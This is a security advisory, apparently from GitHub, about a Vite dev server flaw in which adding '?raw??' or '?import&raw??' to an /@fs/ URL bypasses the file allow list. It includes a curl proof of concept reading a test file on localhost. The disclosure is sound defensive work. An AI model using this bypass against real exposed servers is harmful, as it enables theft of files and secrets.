The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host
or server.host
config option) are affected.
@fs
denies access to files outside of Vite serving allow list. Adding ?raw??
or ?import&raw??
to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ?
are removed in several places, but are not accounted for in query string regexes.
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
{ "nvd_published_at": "2025-03-24T17:15:21Z", "cwe_ids": [ "CWE-200", "CWE-284" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2025-03-25T14:00:02Z" }